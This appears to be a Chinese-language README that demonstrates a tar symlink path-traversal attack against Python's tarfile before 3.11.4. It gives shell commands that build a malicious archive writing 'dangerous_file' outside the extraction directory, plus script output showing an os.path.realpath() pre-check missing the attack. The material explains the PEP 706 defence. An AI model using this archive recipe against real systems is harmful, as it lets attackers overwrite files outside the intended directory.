这是一个演示,展示了在 Python v3.11.4 之前,Python 对 tar 文件提取的默认处理方式如何容易受到简单的符号链接攻击。下面的说明描述了如何构造一个恶意载荷。脚本 untar.py 演示了 3.11.4 中新增功能的工作原理及原因——具体来说,就是在每次写入每个文件之前,必须调用类似 os.path.realpath() 的方法。该脚本采用了与 Python >= 3.11.4 中包含的 extraction filter 功能完全相同的检查方法,唯一区别是不将文件写入磁盘。因此,它展示了 os.path.realpath() 无法正确解析符号链接,从而允许 tar 成员写入预期文件系统位置之外的位置。
说明(本文件)如何设置沙箱和恶意 tar 文件。
Python 脚本 untar.py,将演示最近在 Python tarfile 库中实现增强 tar 验证的“原因”。由于 os.path.realpath() 的工作方式,除非这些链接已经存在于文件系统中,否则不能依赖它来解析符号链接。这意味着,在提取归档之前,不能仅依赖 os.path.realpath() 来检查 tar 成员路径。相反,必须在归档中每个成员的每次写入之前调用 os.path.realpath(),以确保检测到恶意链接活动。更多信息请参见 PEP-706 和 tarfile 文档。
snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
从本仓库下载 untar.py 并将其放在 ./lab 目录中
运行脚本。注意,当恶意符号链接尚未写入目标文件系统时,欺骗 os.path.realpath() 是多么容易。
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-